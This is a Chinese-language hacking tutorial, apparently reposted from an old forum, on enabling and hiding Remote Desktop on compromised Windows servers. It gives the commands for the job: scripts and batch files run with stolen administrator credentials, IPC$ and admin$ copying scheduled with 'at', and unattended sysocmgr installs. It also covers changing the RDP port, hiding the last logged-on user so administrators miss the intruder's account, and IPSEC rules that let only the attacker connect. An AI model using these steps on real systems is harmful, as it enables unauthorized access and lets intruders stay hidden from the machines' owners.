zoukankan      html  css  js  c++  java
  • 终端服务全攻略

    终端服务全攻略

    在漏洞不段出现的今天,入侵一台服务器已经不是什么新鲜事,但凡是入侵成功之后,都想尽办法来打开终端服务,什么是终端呢?又怎么在远程打开呢?看完本文,你就会成为一个开“终端的高手”。

    什么是终端服务
    3389又称Terminal Service,服务终端。在WindowsNT中最先开始使用的一种终端,在Win2K的Professional版本中不可以安装,在Server或以上版本才可以安装这个服务,其服务端口为3389。由于使用简单,方便等特点,一直受系统管理员的青昧。也正式因为他的简便,不产生交互式登陆,可以在后台操作,因此也受到了黑客朋友的喜爱,事实可以说明,现在大多数朋友在入侵之后,都想打开windows终端服务,甚至不惜重启对方的计算机,也要把终端服务安装上,由此可见他的普遍性。另,在在XP系统中又叫做“远程桌面”。

    打开终端服务的各种方法
    下面进入正题,开始今天的“终端”之旅。(各种工具我会提供)
    一, 使用ROTS.VBS脚本
    插拨广告:
    1, 什么是VBS
    VBScript的全称是:Microsoft Visual Basic Script Editon.(微软公司可视化BASIC脚本版). 正如其字面所透露的信息, VBS(VBScript的进一步简写)是基于Visual Basic的脚本语言. 我进一步解释一下, Microsoft Visual Basic是微软公司出品的一套可视化编程工具, 语法基于Basic. 脚本语言, 就是不编译成二进制文件, 直接由宿主(host)解释源代码并执行, 简单点说就是你写的程序不需要编译成.exe, 而是直接给用户发送.vbs的源程序, 用户就能执行了。

    知道什么是VBS了,下面开始进行测试。首先你要获得这台主机的Administrator权限或Local System权限,具体怎么获得在这不必讨论。先来看看ROTS.VBS帮助.。(见图1)
    ROTS v1.01
    Remote Open Terminal services Script, by zzzEVAzzz
    Welcome to visite www.isgrey.com
    Usage:
    cscript c:\scriptpath\ROTS.vbs targetIP username password [port] [/r]
    port: default number is 3389.
    /r: auto reboot target.

    一般的命令格式:ROTS.vbs <目标IP> <用户名> <密码> [服务端口] [自动重起选项]。

    下面打开本地CMD,输入:ROTS.vbs XXX.XXX.XX.XXX dahubaobao dahu 3389 /fr

    注意:
    1,/fr为强制重启,/r为普通重启,不要搞混了。
    2, 脚本会判断目标系统类型,如果不是server及以上版本,就会提示你是否要取消。

    优点:成功率高。
    缺点:必须重新启动。
    二,使用批处理(bat)
    open3389.bat,先来看看帮助:(见图2)
    *******************Open3389*********************
    使用方法:
    open3389.bat ip user password
    open3389.bat 目标ip 用户名 密码
    还是打开CMD,输入:open3389.bat XXX.XXX.XX.XXX dahubaobao dahu

    好了 就这样来打开3389,bat文件真的很好用,建议大家去学习。

    优点:不必重新启动。
    缺点:成功率不高。

    三, 使用HBULOT
    这个工具要上传到对方的机器,然后执行,比较麻烦。
    C:\>net use \\XXX.XXX.XX.XXX\IPC$ "dahu" /user:"dahubaobao" //建立IPC连接
    C:\>copy HBULOT.exe \\ XXX.XXX.XX.XXX \WINNT\admin$ //上传到对方的systeme32目录下。
    C:\>net use \\XXX.XXX.XX.XXX\IPC$ /del //断开IPC

    然后telent过去,到对方的WINNT\systeme32目录下,直接运行HBULOT.exe即可(见图
    3)。
    ---------------------------------------------------------------------------------------------------------------

    下面介绍的不需要工具,具体请看我的方法
    首先telent过去,然后输入query user,使用这个命令的前提是安装终端,如果出现如图4
    的情况,就表明安装了终端。如果没有,那就证明没有安装,请看我是怎么做的:

    C:\> dir c:\sysoc.inf /s //查找sysoc.inf文件的位置
    c:\WINNT\inf 的目录

    2003-06-19 12:05 3,458 sysoc.inf
    1 个文件 3,458 字节

    C:\>dir c:\sysocmgr.* /s //查找组件安装程序
    c:\WINNT\system32 的目录

    1900-10-29 04:00 42,768 sysocmgr.exe
    1 个文件 42,768 字节

    C:\>echo [Components] > c:\ts
    C:\>echo TSEnable = on >> c:\ts
    //建立无人职守安装的参数
    C:\>sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\ts /q
    开启3389,并且重新启动,如果
    C:\>sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\ts /q /r
    开启3389,不重新启动。

    如果重新启动,那等几分钟就可以用客户端连接了,如果没重新启动,那就要等对方重新启动之后,才能连接(看你的耐心喽)。
    ----------------------------------------------------------------------------------


    在介绍一种很方便的做法,就是做一个bat文件,在本地运行即可,下面是bat的内容
    echo [Components] > c:\ts

    echo TSEnable = on >> c:\ts

    C:\sqlsysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\ts /q

    net use \\ip\ipc$ dahu /user:dahubaobao

    copy 路径:\xxx.bat \\ip\winnt\admin$

    at time 00:00:00 xxx.bat

    主机执行之后,会自动重启,之后就可以利用3389登陆了。

    这个bat文件很容易,前两条语句是“建立无人职守安装的参数”,第三条是真正的“开启终端的命令”,第四条是“IPC连接”,第五是“把bat文件copy到对方的winnt\system32目录下”,最后是用“time获取时间,然后用at命令启动。”

    (个人推荐这种方法,比较简单,有点IPC知识的就可以实现。)


    修改终端服务端口
    这一步很重要,我们辛苦的开启了终端服务,不能因为“3389”的暴露而前功尽弃,所以端口是必须修改的,先说一下原理,终端服务安装完成后,会在注册表中增加两个键,其键值分别为16进制的3389,即“0x00000D3D”。现在打开“运行”,输入“regedit”启动注册表编辑器,然后打开HKEY-LOCAL_MACHINE\System\CurrentControlSet\Control\TerminalServer\Wds\Repwd\Tds\Tcp和HKEY-LOCAL_MACHINE\System\CurrentControlSet\Control\TerminalServer\WinStartions\RDP-TCP子键,修改“PortNumber”,假如我们修改成8080端口,其键值为“1F90”,保存退出,注意,重启之后才能生效,修改完成之后,会到本地,打开客户端,输入:XXX.XXX.XXX.XX:8080,就可以连接了。(见图5,6)

    有的朋友对注册表不熟悉,更有甚者恐惧注册表,认为是很难驾御的地方,那好办,下面介绍一个小工具,可以在命令行下修改端口,看我是怎么做的:还是先来看帮助
    =======================================================
    Change Local or Remote TermService Port Program
    Code By wawa@21cn.Com Http://www.Haowawa.Com
    =======================================================
    Local Usage: c3389 7358
    Remote Usage: c3389 \\192.168.0.1 adminname password 7358

    Local Host TermService Port is : 3389

    本地修改:c3389 端口
    远程修改:c3389 \\XXX.XXX.XXX.XX Admin用户 密码 端口

    先来看本地修改:
    打开CMD。输入c3389 post,具体见图7。

    在来看远程修改:
    输入c3389 \\XXX.XXX.XXX.XX adminname password post。

    到这里,端口就修改关闭了。

    隐藏上次登陆过的用户名
    在终端安装完成后,并且你已经登陆过,那么再次登陆就会显示上次登陆过的用户名,如果我们添加的帐户(或克隆)被管理员看到了,那不起疑心才怪呢?所以我们要隐藏登陆过的用户,要实现隐藏,还是要修改注册表,具体看我怎么做:在“运行”中输入“regedit”启动注册表编辑器,依次展开:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon子键下的DontDisplayLastUserName,默认键值为“0”,我们修改为“1”,保存,退出,重新启动之后生效。见图8


    限制/指定连接终端的地址
    现在我们已经给肉鸡看了终端,并且修改了端口,还做了一些简单的维护,但这还是不够的,假如某人知道了我们修改过的端口就是终端服务,那就挂了,所以还要在肉鸡上通过IPSEC这个系统自带的而且功能非常强大的工具来做一下限制,具体请看我的演示:

    1,静态IP
    假如我的IP是111.222.255.255,我们通过设置IPSEC,来让肉鸡上的终端只通过我的连接,而拒绝除了我以外的所有连接,好,就这么办,先登陆终端,然后打开“管理工具”—“本地安全设置”,设置如下:

    首先右键点击“IP安全策略 在本地机器”选择“创建IP策略”,然后打开了一个向导,即“IP安全策略向导”—“下一步”—“名称”—“下一步”取消“激活默认响应规则”—“下一步”—“完成”,这是会重新打开一个“新IP安全策略 属性”(见图9),取消“使用“添加向导””—“添加”—出现“新规则属性”—“添加”—出现“IP筛选器列表”—取消“使用“添加向导””—“添加”—出现“筛选器 属性”,选择“寻址”标签,源地址设为‘任何IP地址’,目的地址设为‘我的IP地址’;在选择“协议”标签,选择协议类型设为‘TCP’,设置IP协议端口‘从任意端口’—‘到此端口8080’—“确定”(见图10,11)--“关闭”—回到“新规则 属性”—选择“新IP筛选器列表”—在选“筛选器操作”标签—取消“使用“添加向导””—“添加”—在“安全措施”标签下选择“阻止”—“确定”—“关闭”(见图12),回到“新规则 属性”—选中“新筛选器操作”—“关闭”—“关闭”—回到“本地安全设置”—选中“新IP安全策略”—右键点击“指派”(见图13),好了,总算设置完了,这样所有的机器就无法连接8080(终端)端口了。

    注意:以上都是使用默认的名称,所以大家在设置的时候注意一下。

    由于上边的设置,把我自己也挡在了外面,这可不是我所想要的,所以,我们还要建立一条规则,允许我的IP 111.222.255.255访问对方的8080端口,方法如下:

    右键点击“新IP安全策略”—“属性”—不选“使用“添加向导””—出现“新规则 属性”—“添加”—出现“IP筛选器列表”—不选“使用“添加向导””—“添加”—出现“筛选器 属性”—选择“寻址”标签,设置成如图14的样子,在选择“协议”标签,设置成如图12的样子,然后“确定”—“关闭”—回到“新规则 属性”—选中“新IP筛选器列表(1)”—在选“筛选器操作”标签—在选“允许”—“关闭”—“关闭”—回到“本地安全设置”。
    (见图15)

    2,动态IP

    在中国,拥有静态IP的人毕竟是少数,大多数朋友还都是拨号,虽然现在ADSL很普遍,但ADSL还是虚拟拨号,即动态IP,所以用上边的方法设置IPSEC肯定是不行的,所以,现在我们要修改上边的一条规则,使IPSEC可以通过 特定子网的连接,方法很简单,其他的都不用改,按照图16的方法设置就可以了。

    后记
    通过上面的设置,在肉鸡的终端已经“比较”安全了,由于使用IPSEC总感觉很麻烦,所以在上边的设置中特意取消了“使用“添加向导””,因为这样可以更直观一些,并且附上一个IPSEC的动画教程,希望大家喜欢,本文如有错误,还请多多包涵,也可发邮件至 dahushibaobao@vip.sina.com,和我交流。

    本贴由环形区原创,欢迎转帖!欢迎进入环形区,一群技术狂热者的社区,www.ringz.org欢迎你的加入!

  • 相关阅读:
    jQuery EasyUI API 中文文档 可调整尺寸
    jQuery EasyUI API 中文文档 链接按钮(LinkButton)
    jQuery EasyUI API 中文文档 手风琴(Accordion)
    jQuery EasyUI API 中文文档 表单(Form)
    jQuery EasyUI API 中文文档 组合(Combo)
    jQuery EasyUI API 中文文档 布局(Layout)
    jQuery EasyUI API 中文文档 拆分按钮(SplitButton)
    jQuery EasyUI API 中文文档 菜单按钮(MenuButton)
    jQuery EasyUI API 中文文档 搜索框
    jQuery EasyUI API 中文文档 验证框(ValidateBox)
  • 原文地址:https://www.cnblogs.com/QDuck/p/65372.html
Copyright © 2011-2022 走看看